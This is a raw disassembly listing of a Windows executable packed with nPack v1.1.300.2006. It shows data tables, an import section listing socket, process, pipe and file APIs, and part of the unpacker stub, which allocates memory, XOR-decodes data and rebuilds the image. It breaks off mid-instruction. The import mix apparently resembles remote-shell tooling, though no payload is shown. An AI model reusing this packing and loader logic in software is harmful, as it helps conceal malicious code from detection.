XREF: sub_41D67E+92o dword_493F60 dd 0Fh dup(0) ; DATA XREF: .text:0041D842o ; sub_41EC16+42o dword_493F9C dd 20h ; DATA XREF: sub_41BE46+8r ; sub_41C10A+Cr ... dword_493FA0 dd 4E4h ; DATA XREF: sub_41C6E5+14r ; sub_41C6E5+65w ... dd 1Fh dup(0) dword_494020 dd 3 dup(0) ; DATA XREF: sub_41C6E5+123o ; sub_41C6E5+171o ... dword_49402C dd 0 ; DATA XREF: sub_41C6E5+108w ; sub_41C6E5+15Dw ... dd 4 dup(0) byte_494040 db 0 ; DATA XREF: sub_41C924:loc_41CA30w ; sub_41C924:loc_41CA4Dw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_494140 db 0 ; DATA XREF: sub_41C6E5+5Co ; sub_41C6E5+AFo ... byte_494141 db 0 ; DATA XREF: sub_417900+5Dr ; sub_41C6E5+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_494244 dd 0 ; DATA XREF: sub_41C6E5+6Ew ; sub_41C6E5+12Bw ... dword_494248 dd 10h ; DATA XREF: sub_4182D9+32w ; sub_418976+5r ... dd 3 dup(0) dword_494258 dd 0 ; DATA XREF: sub_418342+239r ; sub_418342+259r ... dword_49425C dd 940650h ; DATA XREF: sub_4182D9+2Dw ; sub_418342+310w ... dword_494260 dd 0 ; DATA XREF: sub_4182D9:loc_4182F6w ; sub_418342+22Cr ... dword_494264 dd 1 ; DATA XREF: .text:0041824Ar ; .text:00418293r ... dword_494268 dd 940650h ; DATA XREF: .text:00418259r ; .text:loc_41829Dr ... dword_49426C dd 940000h ; DATA XREF: sub_415D36+28r ; sub_415D6C+21r ... dd 2 dup(0) dword_494278 dd 142340h ; DATA XREF: sub_417ED0+7Aw ; sub_41D1EE+Fr ... dd 2 dup(0) dword_494284 dd 1 ; DATA XREF: sub_41D246+ADw ; sub_4206A5r dd 3 dup(0) dword_494294 dd 1 ; DATA XREF: sub_41CAB9r ; sub_41CAB9+11w ... dword_494298 dd 950E6Ch ; DATA XREF: sub_416773+13r ; sub_416773:loc_4167B5r ... dword_49429C dd 950E60h ; DATA XREF: sub_416773+1r ; sub_416773+Cr ... align 1000h _data ends ; Section 4. (virtual address 00095000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00095000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 495000h dd 95268h, 2 dup(0) dd 95584h, 9550Ch, 9503Ch, 2 dup(0) dd 95D30h, 952E0h, 5 dup(0) dd 958B0h, 95D16h, 95D04h, 95CF2h, 95CE2h, 95CCAh, 95CB6h dd 95CA6h, 95C94h, 95C82h, 95C72h, 95C62h, 95C44h, 95C36h dd 95C26h, 95C14h, 95BFAh, 95590h, 95598h, 955A8h, 955B8h dd 955CEh, 955DCh, 955F4h, 9560Ch, 9561Ch, 95644h, 9565Ch dd 9566Ch, 9567Ah, 9568Ch, 9569Ah, 956A6h, 956B4h, 956CAh dd 956DCh, 956EEh, 956FCh, 95712h, 9571Eh, 95736h, 95750h dd 95760h, 95772h, 9577Eh, 95790h, 9579Eh, 957ACh, 957C2h dd 957CEh, 957E4h, 957F8h, 9580Eh, 9581Eh, 95830h, 95840h dd 9584Ch, 9585Ch, 9586Eh, 95880h, 95890h, 9589Eh, 958C0h dd 958D6h, 958E4h, 958F2h, 9590Eh, 95924h, 9593Ah, 9594Eh dd 95962h, 95976h, 95982h, 95994h, 959A4h, 959B8h, 959D2h dd 959E0h, 959F2h, 95A0Eh, 95A28h, 95A44h, 95A5Ah, 95A66h dd 95A72h, 95A7Eh, 95A8Ch, 95AA6h, 95AB6h, 95AC8h, 95ADAh dd 95AE8h, 95AFAh, 95B08h, 95B16h, 95B24h, 95B34h, 95B44h dd 95B50h, 95B5Ch, 95B66h, 95B72h, 95B82h, 95B92h, 95BAEh dd 95BC8h, 95BE2h, 20h dup(0) dd 8000000Bh, 80000004h, 80000074h, 80000073h, 80000015h dd 8000000Ah, 80000009h, 80000002h, 8000000Dh, 80000001h dd 80000010h, 80000003h, 80000017h, 80000013h, 80000012h dd 80000097h, 0Eh dup(0) dword_4952E0 dd 77E74D76h ; DATA XREF: sub_40FD2B+36r ; .text:004211DEr dword_4952E4 dd 77E6BD68h ; DATA XREF: sub_420D89+173r ; .text:0042134Cr dword_4952E8 dd 77E77F2Eh ; DATA XREF: sub_420AE1+3Er ; sub_420AE1+261r ... dword_4952EC dd 77E762D0h ; DATA XREF: sub_420AE1+5Br ; sub_420AE1+B9r ... dword_4952F0 dd 77E70192h ; DATA XREF: sub_42055F+F9r ; .text:0042133Ar dword_4952F4 dd 77E76968h ; DATA XREF: .text:00420264r ; .text:00421334r dword_4952F8 dd 77E73FF9h ; DATA XREF: sub_41EE76+2Cr ; .text:0042132Er dword_4952FC dd 77E7FF2Eh ; DATA XREF: sub_41ECAB:loc_41ECFBr ; sub_41ED22:loc_41ED75r ... dword_495300 dd 77E7C866h ; DATA XREF: sub_41EACD+3Fr ; sub_41EACD+12Dr ... dword_495304 dd 77E641EBh ; DATA XREF: sub_41EACD+59r ; sub_41EACD+8Dr ... dword_495308 dd 77E7176Ch ; DATA XREF: sub_41E3A2+8r ; .text:00421316r dword_49530C dd 77E7339Ch ; DATA XREF: sub_41E36A+Cr ; .text:00421310r dword_495310 dd 77E7C9E7h ; DATA XREF: sub_41DB2F+5r ; sub_41DB40+6r ... dword_495314 dd 77E78406h ; DATA XREF: sub_41D67E+FFr ; sub_41D67E+166r ... dword_495318 dd 77E79C3Dh ; DATA XREF: sub_41D67E+158r ; sub_41D965+143r ... dword_49531C dd 77E7C931h ; DATA XREF: sub_41D67E+19Dr ; .text:004212F8r dword_495320 dd 77E77EE1h ; DATA XREF: sub_41D54C+9r ; .text:004212F2r dword_495324 dd 77E61BE6h ; DATA XREF: sub_402413+19Cr ; sub_402B90+F9r ... dword_495328 dd 77F5157Dh ; DATA XREF: sub_403661:loc_40379Dr ; sub_403661:loc_4038C1r ... dword_49532C dd 77E7AC37h ; DATA XREF: sub_403661+10Er ; sub_403661+22Dr ... dword_495330 dd 77E7A099h ; DATA XREF: sub_403661+58r ; sub_403661+177r ... dword_495334 dd 77E73C49h ; DATA XREF: .text:00404109r ; .text:004043D3r ... dword_495338 dd 77F7E300h ; DATA XREF: .text:0040403Ar ; .text:004210EEr dword_49533C dd 77F7E21Fh ; DATA XREF: .text:00403FCFr ; .text:004210F4r dword_495340 dd 77E7751Ah ; DATA XREF: .text:00403F2Dr ; .text:00404E16r ... dword_495344 dd 77E7C706h ; DATA XREF: .text:0040420Br ; .text:00421100r dword_495348 dd 77F53275h ; DATA XREF: .text:004041FFr ; .text:004043C3r ... dword_49534C dd 77E70F89h ; DATA XREF: sub_4045C0+Dr ; sub_4174F2+Dr ... dword_495350 dd 77E75CB5h ; DATA XREF: .text:004051C5r ; .text:004058FEr ... dword_495354 dd 77E61BB8h ; DATA XREF: .text:004051AFr ; .text:004058C6r ... dword_495358 dd 77E77963h ; DATA XREF: .text:00404F7Cr ; .text:004058D7r ... dword_49535C dd 77E79D8Ch ; DATA XREF: .text:00404E84r ; sub_40FF61+AEr ... dword_495360 dd 77E7A837h ; DATA XREF: .text:00404DAAr ; sub_406B82+1C4r ... dword_495364 dd 77E704FCh ; DATA XREF: .text:00405893r ; sub_407BA3+C7r ... dword_495368 dd 77E64106h ; DATA XREF: .text:00406A3Fr ; sub_414190+1B6r ... dword_49536C dd 77E64006h ; DATA XREF: .text:00406A2Br ; sub_414190+19Fr ... dword_495370 dd 77E793EFh ; DATA XREF: sub_406B82+1EEr ; sub_407700+38r ... dword_495374 dd 77E74CABh ; DATA XREF: sub_406B82+110r ; sub_407BA3+19Er ... dword_495378 dd 77E78EAAh ; DATA XREF: sub_406EDE+5E8r ; .text:0042114Er dword_49537C dd 77E79424h ; DATA XREF: sub_406EDE+27Br ; .text:00421154r dword_495380 dd 77E794BFh ; DATA XREF: sub_406EDE+26Dr ; .text:0042115Ar dword_495384 dd 77E75E67h ; DATA XREF: sub_406EDE+20Dr ; sub_406EDE+5D7r ... dword_495388 dd 77E75D9Eh ; DATA XREF: sub_406EDE+1FCr ; .text:00421166r dword_49538C dd 77E78B82h ; DATA XREF: sub_407700+80r ; sub_41354F+Br ... dword_495390 dd 77E78C81h ; DATA XREF: sub_407700+6Cr ; sub_41CE78+4Fr ... dword_495394 dd 77E73628h ; DATA XREF: sub_407BA3+33Br ; sub_4087B3+35A8r ... dword_495398 dd 77E706B7h ; DATA XREF: sub_407BA3+274r ; sub_411876+B9r ... dword_49539C dd 77E80656h ; DATA XREF: sub_407BA3+267r ; .text:00421184r dword_4953A0 dd 77E6BD13h ; DATA XREF: sub_407BA3:loc_407D5Er ; .text:0042118Ar dword_4953A4 dd 77E70396h ; DATA XREF: sub_407BA3+1B5r ; sub_407BA3+221r ... dword_4953A8 dd 77E79F93h ; DATA XREF: sub_407BA3+D6r ; sub_40E59D+2r ... dword_4953AC dd 77E79D5Bh ; DATA XREF: sub_407BA3+6Br ; sub_407BA3+311r ... dword_4953B0 dd 77E7C2C4h ; DATA XREF: sub_407BA3+64r ; .text:004211A2r dword_4953B4 dd 77E75CEBh ; DATA XREF: sub_4087B3+3819r ; .text:00413203r ... dword_4953B8 dd 77E6AD34h ; DATA XREF: sub_4087B3+2C70r ; sub_40FF61+35r ... dword_4953BC dd 77E71AFEh ; DATA XREF: sub_4087B3+2B33r ; .text:004211B4r dword_4953C0 dd 77E805D8h ; DATA XREF: sub_40E59D+13Ar ; sub_40E59D:loc_40EA8Dr ... dword_4953C4 dd 77E7A5FDh ; DATA XREF: sub_40E59D+11r ; sub_419C71+15r ... dword_4953C8 dd 77E76A60h ; DATA XREF: sub_40FC36+2Dr ; .text:004211C6r dword_4953CC dd 77E71B14h ; DATA XREF: sub_40FCE2+26r ; .text:004211CCr dword_4953D0 dd 77E7166Fh ; DATA XREF: sub_40FCE2+1Dr ; .text:004211D2r dword_4953D4 dd 77E75090h ; DATA XREF: sub_40FD2B+69r ; .text:004211D8r dword_4953D8 dd 77E77797h ; DATA XREF: sub_40FD2B+25r ; .text:004211E4r dword_4953DC dd 77E7011Ah ; DATA XREF: sub_40FDCD+96r ; .text:004211EAr dword_4953E0 dd 77E73CE2h ; DATA XREF: sub_40FDCD+60r ; .text:004211F0r dword_4953E4 dd 77E668D9h ; DATA XREF: sub_40FF61+15Dr ; .text:004211F6r dword_4953E8 dd 77E79924h ; DATA XREF: sub_410714+13r ; sub_41CC29+20Dr ... dword_4953EC dd 77E77CCEh ; DATA XREF: sub_410819+Fr ; sub_417D0C+54r ... dword_4953F0 dd 77E65F4Ch ; DATA XREF: sub_4113B6+34r ; .text:00412309r ... dword_4953F4 dd 77E79C90h ; DATA XREF: sub_4117F1+Cr ; sub_413440+3Ar ... dword_4953F8 dd 77E616B4h ; DATA XREF: sub_411876+113r ; sub_411876+21Br ... dword_4953FC dd 77E76A2Eh ; DATA XREF: sub_411876+DEr ; .text:0042121Ar dword_495400 dd 77E7513Ch ; DATA XREF: .text:004123C7r ; .text:00421220r dword_495404 dd 77E7C657h ; DATA XREF: .text:00412458r ; .text:0041400Cr ... dword_495408 dd 77E6C29Dh ; DATA XREF: sub_412D63:loc_412F4Er ; .text:0042122Cr dword_49540C dd 77E74C59h ; DATA XREF: .text:0041322Br ; .text:00421232r dword_495410 dd 77E7727Ah ; DATA XREF: sub_413309+23r ; .text:00421238r dword_495414 dd 77E79CE3h ; DATA XREF: sub_413440+77r ; .text:0042123Er dword_495418 dd 77EC7C51h ; DATA XREF: sub_41362D+5Er ; .text:00421244r dword_49541C dd 77E802FCh ; DATA XREF: sub_413B9E+109r ; sub_413B9E+250r ... dword_495420 dd 77E6D75Bh ; DATA XREF: sub_413B9E+FFr ; .text:00421250r dword_495424 dd 77E76C1Ah ; DATA XREF: sub_414190+1CFr ; .text:00421256r dword_495428 dd 77F516F8h ; DATA XREF: sub_415D36+2Er ; sub_416ED2+AFr ... dword_49542C dd 77F51597h ; DATA XREF: sub_415D6C+27r ; .text:00418251r ... dword_495430 dd 77F6183Eh ; DATA XREF: sub_421268r dword_495434 dd 77F5722Fh ; DATA XREF: sub_416ED2+F0r ; sub_418976+28r ... dword_495438 dd 77E76E3Dh ; DATA XREF: sub_4174F2+6Cr ; sub_41F1B2+38r ... dword_49543C dd 77E61608h ; DATA XREF: sub_4174F2+17r ; .text:0042127Ar dword_495440 dd 77E6177Ah ; DATA XREF: sub_417ED0+9Fr ; sub_41D67E+59r ... dword_495444 dd 77E7C938h ; DATA XREF: sub_417ED0+74r ; .text:00421286r dword_495448 dd 77E7C486h ; DATA XREF: sub_417ED0+26r ; .text:0042128Cr dword_49544C dd 77E6D706h ; DATA XREF: sub_4181A0+2Er ; sub_419407+215r ... dword_495450 dd 77E76E0Bh ; DATA XREF: sub_41820B+2Fr ; .text:004182B3r ... dword_495454 dd 77E7C726h ; DATA XREF: sub_41820B+11r ; .text:0042129Er dword_495458 dd 77E79E34h ; DATA XREF: .text:00418260r ; sub_418342+23Fr ... dword_49545C dd 77E7980Ah ; DATA XREF: sub_418976+76r ; sub_418A27+51r ... dword_495460 dd 77E73196h ; DATA XREF: .text:00418F07r ; .text:00418F40r ... dword_495464 dd 77F522F2h ; DATA XREF: sub_41B2F7+21r ; .text:004212B6r dword_495468 dd 77E7849Fh ; DATA XREF: sub_41C6E5+48r ; sub_41C924+14r ... dword_49546C dd 77E7A13Fh ; DATA XREF: sub_41C87E+2Fr ; .text:004212C2r dword_495470 dd 77E6C703h ; DATA XREF: sub_41C87E+1Ar ; .text:004212C8r dword_495474 dd 77E77405h ; DATA XREF: sub_41CC29+5Er ; sub_41CC29+A7r ... dword_495478 dd 77E781F9h ; DATA XREF: sub_41CC29+42r ; sub_41CC29+14Dr ... dword_49547C dd 77EB9A84h ; DATA XREF: sub_41D06A+138r ; .text:004212DAr dword_495480 dd 77E9C5B1h ; DATA XREF: sub_41D54C+11Fr ; .text:004212E0r dword_495484 dd 77E7C9E1h ; DATA XREF: sub_41D54C+CEr ; .text:004212E6r dword_495488 dd 77E67702h ; DATA XREF: sub_41D54C:loc_41D57Br ; sub_41D54C+E1r ... dd 20h dup(0) dword_49550C dd 71AB12F8h ; DATA XREF: sub_4062D3+35r ; .text:004210CAr dword_495510 dd 71AB3E5Dh ; DATA XREF: sub_4062D3+57r ; .text:004210C4r dword_495514 dd 71AB1836h ; DATA XREF: sub_4062D3+6Er ; sub_40636F+8Er ... dword_495518 dd 71AB41DAh ; DATA XREF: .text:00405B97r ; sub_4062D3+15r ... dword_49551C dd 71AB3F8Dh ; DATA XREF: .text:00405BDDr ; .text:004210B2r dword_495520 dd 71AB155Ah ; DATA XREF: .text:00405BEDr ; .text:004210ACr dword_495524 dd 71AB1746h ; DATA XREF: .text:00405C03r ; sub_4062D3+41r ... dword_495528 dd 71AB3ECEh ; DATA XREF: .text:00405C14r ; .text:004210A0r dword_49552C dd 71AB5DE2h ; DATA XREF: .text:00405C28r ; .text:0042109Ar dword_495530 dd 71AB868Dh ; DATA XREF: .text:00405CD0r ; .text:00421094r dword_495534 dd 71AB5690h ; DATA XREF: .text:00405D40r ; .text:0042108Er dword_495538 dd 71AB1A6Dh ; DATA XREF: .text:00405D91r ; sub_4062D3+68r ... dword_49553C dd 71AB3C22h ; DATA XREF: sub_402413+B7r ; .text:00405BC4r ... dword_495540 dd 71AB1AF4h ; DATA XREF: sub_40205B+12r ; .text:00405C34r ... dword_495544 dd 71AB1890h ; DATA XREF: sub_401E57+4Cr ; .text:00405C65r ... dword_495548 dd 71AB1B7Bh ; DATA XREF: sub_421070r dd 0Eh dup(0) aWs2_32_dll_0 db 'WS2_32.dll',0 align 10h dd 6C530296h, 706565h, 6547011Ah, 73614C74h, 72724574h dd 726Fh, 7243004Ah, 65746165h, 65726854h, 6461h, 65470124h dd 646F4D74h, 46656C75h, 4E656C69h, 41656D61h, 7E0000h dd 74697845h, 65726854h, 6461h, 654C01C1h, 43657661h, 69746972h dd 536C6163h, 69746365h, 6E6Fh, 6E450066h, 43726574h, 69746972h dd 536C6163h, 69746365h, 6E6Fh, 6547016Dh, 63695474h, 756F436Bh dd 746Eh, 6E4901ABh, 61697469h, 657A696Ch, 74697243h, 6C616369h dd 74636553h, 416E6F69h, 7053646Eh, 6F436E69h, 746E75h dd 65440055h, 6574656Ch, 74697243h, 6C616369h, 74636553h dd 6E6F69h, 6547011Bh, 636F4C74h, 69546C61h, 656Dh, 7845007Dh dd 72507469h, 7365636Fh, 440073h, 61657243h, 72506574h dd 7365636Fh, 4173h, 6C43001Bh, 4865736Fh, 6C646E61h, 2DF0065h dd 74697257h, 6C694665h, 340065h, 61657243h, 69466574h dd 41656Ch, 65470159h, 73795374h, 446D6574h, 63657269h dd 79726F74h, 16E0041h, 54746547h, 46656D69h, 616D726Fh dd 4174h, 654700FBh, 74614474h, 726F4665h, 4174616Dh, 1120000h dd 46746547h, 53656C69h, 657A69h, 6547010Dh, 6C694674h dd 74744165h, 75626972h, 41736574h, 900000h, 646E6946h dd 736F6C43h, 8A0065h, 656C6946h, 656D6954h, 79536F54h dd 6D657473h, 656D6954h, 890000h, 656C6946h, 656D6954h dd 6F4C6F54h, 466C6163h, 54656C69h, 656D69h, 6946009Dh dd 654E646Eh, 69467478h, 41656Ch, 69460094h, 6946646Eh dd 46747372h, 41656C69h, 2180000h, 64616552h, 656C6946h dd 26A0000h, 46746553h, 50656C69h, 746E696Fh, 7265h, 65440057h dd 6574656Ch, 656C6946h, 1EF0041h, 6E65704Fh, 636F7250h dd 737365h, 654700F8h, 72754374h, 746E6572h, 636F7250h dd 49737365h, 280064h, 79706F43h, 656C6946h, 2680041h dd 46746553h, 41656C69h, 69727474h, 65747562h, 4173h, 65470126h dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 615702CEh, 6F467469h dd 6E695372h, 4F656C67h, 63656A62h, 3F0074h, 61657243h dd 754D6574h, 41786574h, 29F0000h, 6D726554h, 74616E69h dd 72685465h, 646165h, 65470165h, 6D655474h, 74615070h dd 4168h, 6F4D01DDh, 69466576h, 41656Ch, 6F4C01C2h, 694C6461h dd 72617262h, 4179h, 6547013Eh, 6F725074h, 64644163h, 73736572h dd 0AF0000h, 6D726F46h, 654D7461h, 67617373h, 4165h, 6C470193h dd 6C61626Fh, 6F6C6E55h, 6B63h, 6C47018Ch, 6C61626Fh, 6B636F4Ch dd 2B00000h, 616D6E55h, 65695670h, 46664F77h, 656C69h dd 614D01D6h, 65695670h, 46664F77h, 656C69h, 72430035h dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 26C0000h dd 46746553h, 54656C69h, 656D69h, 65470114h, 6C694674h dd 6D695465h, 800065h, 61707845h, 6E45646Eh, 6F726976h dd 6E656D6Eh, 72745374h, 73676E69h, 2D20041h, 65646957h dd 72616843h, 754D6F54h, 4269746Ch, 657479h, 754D01E4h dd 4269746Ch, 54657479h, 6469576Fh, 61684365h, 0CE0072h dd 43746547h, 75706D6Fh, 4E726574h, 41656D61h, 0F70000h dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 29E0073h dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 2FF0000h dd 7274736Ch, 69706D63h, 11C0041h, 4C746547h, 6C61636Fh dd 666E4965h, 416Fh, 65470175h, 72655674h, 6E6F6973h, 417845h dd 65470120h, 676F4C74h, 6C616369h, 76697244h, 7365h, 615702CCh dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h dd 430000h, 61657243h, 69506574h, 6570h, 75440063h, 63696C70h dd 48657461h, 6C646E61h, 0B80065h, 656E6547h, 65746172h dd 736E6F43h, 43656C6Fh, 456C7274h, 746E6576h, 2060000h dd 72657551h, 72655079h, 6D726F66h, 65636E61h, 6E756F43h dd 726574h, 75510207h, 50797265h, 6F667265h, 6E616D72h dd 72466563h, 65757165h, 79636Eh, 6C47018Dh, 6C61626Fh dd 6F6D654Dh, 74537972h, 73757461h, 1990000h, 70616548h dd 6F6C6C41h, 19F0063h, 70616548h, 65657246h, 22F0000h dd 556C7452h, 6E69776Eh, 1A20064h, 70616548h, 6C416552h dd 636F6Ch, 65470170h, 6D695474h, 6E6F5A65h, 666E4965h dd 616D726Fh, 6E6F6974h, 15D0000h, 53746547h, 65747379h dd 6D69546Dh, 1500065h, 53746547h, 74726174h, 6E497075h dd 416F66h, 654700CAh, 6D6F4374h, 646E616Dh, 656E694Ch dd 1740041h, 56746547h, 69737265h, 6E6Fh, 6152020Bh, 45657369h dd 70656378h, 6E6F6974h, 19D0000h, 70616548h, 74736544h dd 796F72h, 6548019Bh, 72437061h, 65746165h, 2BF0000h dd 74726956h, 466C6175h, 656572h, 695602BBh, 61757472h dd 6C6C416Ch, 636Fh, 734901B8h, 57646142h, 65746972h, 727450h dd 654801A3h, 69537061h, 657Ah, 654700BFh, 49504374h, 6F666Eh dd 654700B9h, 50434174h, 1310000h, 4F746547h, 50434D45h dd 1BF0000h, 614D434Ch, 72745370h, 41676E69h, 1C00000h dd 614D434Ch, 72745370h, 57676E69h, 2AD0000h, 61686E55h dd 656C646Eh, 63784564h, 69747065h, 69466E6Fh, 7265746Ch dd 0B20000h, 65657246h, 69766E45h, 6D6E6F72h, 53746E65h dd 6E697274h, 417367h, 724600B3h, 6E456565h, 6F726976h dd 6E656D6Eh, 72745374h, 73676E69h, 1060057h, 45746547h dd 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h, 1080073h dd 45746547h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h dd 5773h, 6553026Dh, 6E614874h, 43656C64h, 746E756Fh, 1520000h dd 53746547h, 61486474h, 656C646Eh, 1150000h, 46746547h dd 54656C69h, 657079h, 6553028Bh, 686E5574h, 6C646E61h dd 78456465h, 74706563h, 466E6F69h, 65746C69h, 1B50072h dd 61427349h, 61655264h, 72745064h, 1B20000h, 61427349h dd 646F4364h, 72745065h, 1530000h, 53746547h, 6E697274h dd 70795467h, 4165h, 65470156h, 72745374h, 54676E69h, 57657079h dd 27C0000h, 53746553h, 61486474h, 656C646Eh, 0AA0000h dd 73756C46h, 6C694668h, 66754265h, 73726566h, 2410000h dd 43746553h, 6F736E6Fh, 7443656Ch, 61486C72h, 656C646Eh dd 2610072h, 45746553h, 664F646Eh, 656C6946h, 210000h dd 706D6F43h, 53657261h, 6E697274h, 4167h, 6F430022h, 7261706Dh dd 72745365h, 57676E69h, 2620000h, 45746553h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 41656Ch, 4E52454Bh dd 32334C45h, 6C6C642Eh, 0 dd 74h, 0AFh dup(0) _idata ends ; Section 5. (virtual address 00096000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00096000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _nPack segment para public 'DATA' use32 assume cs:_nPack ;org 496000h ; =============== S U B R O U T I N E ======================================= sub_496000 proc near ; CODE XREF: sub_49627A+61p ; sub_49627A+84p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov edx, [eax+8] test edx, edx jnz short loc_49600E mov edx, [eax+10h] loc_49600E: ; CODE XREF: sub_496000+9j mov ecx, [esp+arg_8] mov eax, [eax+0Ch] push esi mov esi, [esp+4+arg_0] mov ecx, [ecx+esi*8+78h] pop esi cmp ecx, eax jb short loc_49602D add eax, edx cmp ecx, eax jnb short loc_49602D push 1 pop eax retn ; --------------------------------------------------------------------------- loc_49602D: ; CODE XREF: sub_496000+21j ; sub_496000+27j xor eax, eax retn sub_496000 endp ; =============== S U B R O U T I N E ======================================= sub_496030 proc near ; CODE XREF: sub_49627A+12p ; sub_496819+Ap ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov eax, [ecx+3Ch] add eax, ecx retn sub_496030 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49603A proc near ; CODE XREF: sub_49623C+25p ; sub_49627A+C7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov ecx, [ebp+arg_8] mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] rep movsb pop edi pop esi pop ebp retn sub_49603A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49604E proc near ; CODE XREF: sub_496819+59p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi xor eax, eax mov edi, [ebp+arg_0] mov ecx, [ebp+arg_4] rep stosb pop edi pop ebp retn sub_49604E endp ; =============== S U B R O U T I N E ======================================= sub_49605F proc near ; CODE XREF: sub_49627A+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov ecx, [esp+arg_4] loc_496063: ; CODE XREF: sub_49605F+11j mov eax, [esp+arg_0] mov dl, [esp+arg_8] add eax, ecx xor [eax], dl dec ecx jnz short loc_496063 retn sub_49605F endp ; --------------------------------------------------------------------------- db 0CCh dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_496080 proc near ; CODE XREF: sub_49623C+1Cp ; sub_49627A+11Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_496A30 add esp, 8 retn sub_496080 endp ; --------------------------------------------------------------------------- db 90h dd 3 dup(90909090h) aKernel32_dll_0 db 'KERNEL32.DLL',0 ; DATA XREF: sub_49620A+2o align 10h aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: sub_49620A+15o align 10h aVirtualfree db 'VirtualFree',0 ; DATA XREF: sub_49620A+1Do aNpackV1_1_300_ db 'nPack v1.1.300.2006: Loader Error',0 ; DATA XREF: sub_4969A0+62o align 10h aCouldNotLoadDy db 'Could not load dynamic link library %s.',0 ; DATA XREF: sub_4969A0+51o aTheProcedureEn db 'The procedure entry point %s could not be located in the dynamic ' ; DATA XREF: sub_4969A0+2Eo db 'link library %s.',0 align 4 aTheOrdinalUCou db 'The ordinal %u could not be located in the dynamic link library %' ; DATA XREF: sub_4969A0+47o db 's.',0 ; =============== S U B R O U T I N E ======================================= public start start proc near ; DATA XREF: start+19o cmp ds:dword_496E4C, 0 jnz short locret_4961BE jmp loc_4961BF ; --------------------------------------------------------------------------- locret_4961BE: ; CODE XREF: start+7j retn ; --------------------------------------------------------------------------- loc_4961BF: ; CODE XREF: start+9j call sub_49620A call sub_49623C mov eax, offset start sub eax, ds:dword_496E08 mov ds:dword_496E48, eax call sub_49627A call sub_496410 call sub_4968C5 call sub_496819 mov eax, ds:dword_496E48 mov ds:dword_496E4C, 1 add ds:off_496E00, eax push ds:off_496E00 retn start endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0C3h ; =============== S U B R O U T I N E ======================================= sub_49620A proc near ; CODE XREF: start:loc_4961BFp push esi push edi push offset aKernel32_dll_0 ; "KERNEL32.DLL" call ds:dword_496C00 ; LoadLibraryA mov esi, ds:dword_496C08 mov edi, eax push offset aVirtualalloc ; "VirtualAlloc" push edi call esi ; GetProcAddress push offset aVirtualfree ; "VirtualFree" push edi mov ds:dword_496E44, eax call esi ; GetProcAddress pop edi mov ds:dword_496E40, eax pop esi retn sub_49620A endp ; =============== S U B R O U T I N E ======================================= sub_49623C proc near ; CODE XREF: start+14p push esi push edi push 4 push 3000h push 24h push 0 call ds:dword_496E44 ; VirtualAlloc mov esi, eax mov edi, offset off_496E00 push esi push edi call sub_496080 push 24h push esi push edi call sub_49603A add esp, 14h push 4000h push 0 push esi call ds:dword_496E40 ; VirtualFree pop edi pop esi retn sub_49623C endp ; =============== S U B R O U T I N E ======================================= sub_49627A proc near ; CODE XREF: start+29p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 0Ch push ebx push ebp push esi xor ebx, ebx push ds:dword_496E48 mov [esp+1Ch+var_4], ebx call sub_496030 mov ebp, eax pop ecx mov [esp+18h+var_8], ebx movzx eax, word ptr [ebp+14h] lea esi, [eax+ebp+18h] movzx eax, word ptr [ebp+6] dec eax test eax, eax jle loc_496409 push edi loc_4962AE: ; CODE XREF: sub_49627A+188j cmp [esi+10h], ebx mov [esp+1Ch+var_C], ebx jz loc_4963F2 cmp [esi+14h], ebx jz loc_4963F2 test byte ptr 